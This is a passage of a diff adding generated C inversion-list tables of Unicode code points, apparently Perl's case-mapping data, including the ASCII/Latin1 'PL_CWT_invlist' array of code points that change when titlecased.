+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBD,
+	0x1FC8,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWT_invlist[] = { /* for ASCII/Latin1 */
+	1217,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xDF,
+	0xF7,
+	0xF8,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C8,
+	0x1C9,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
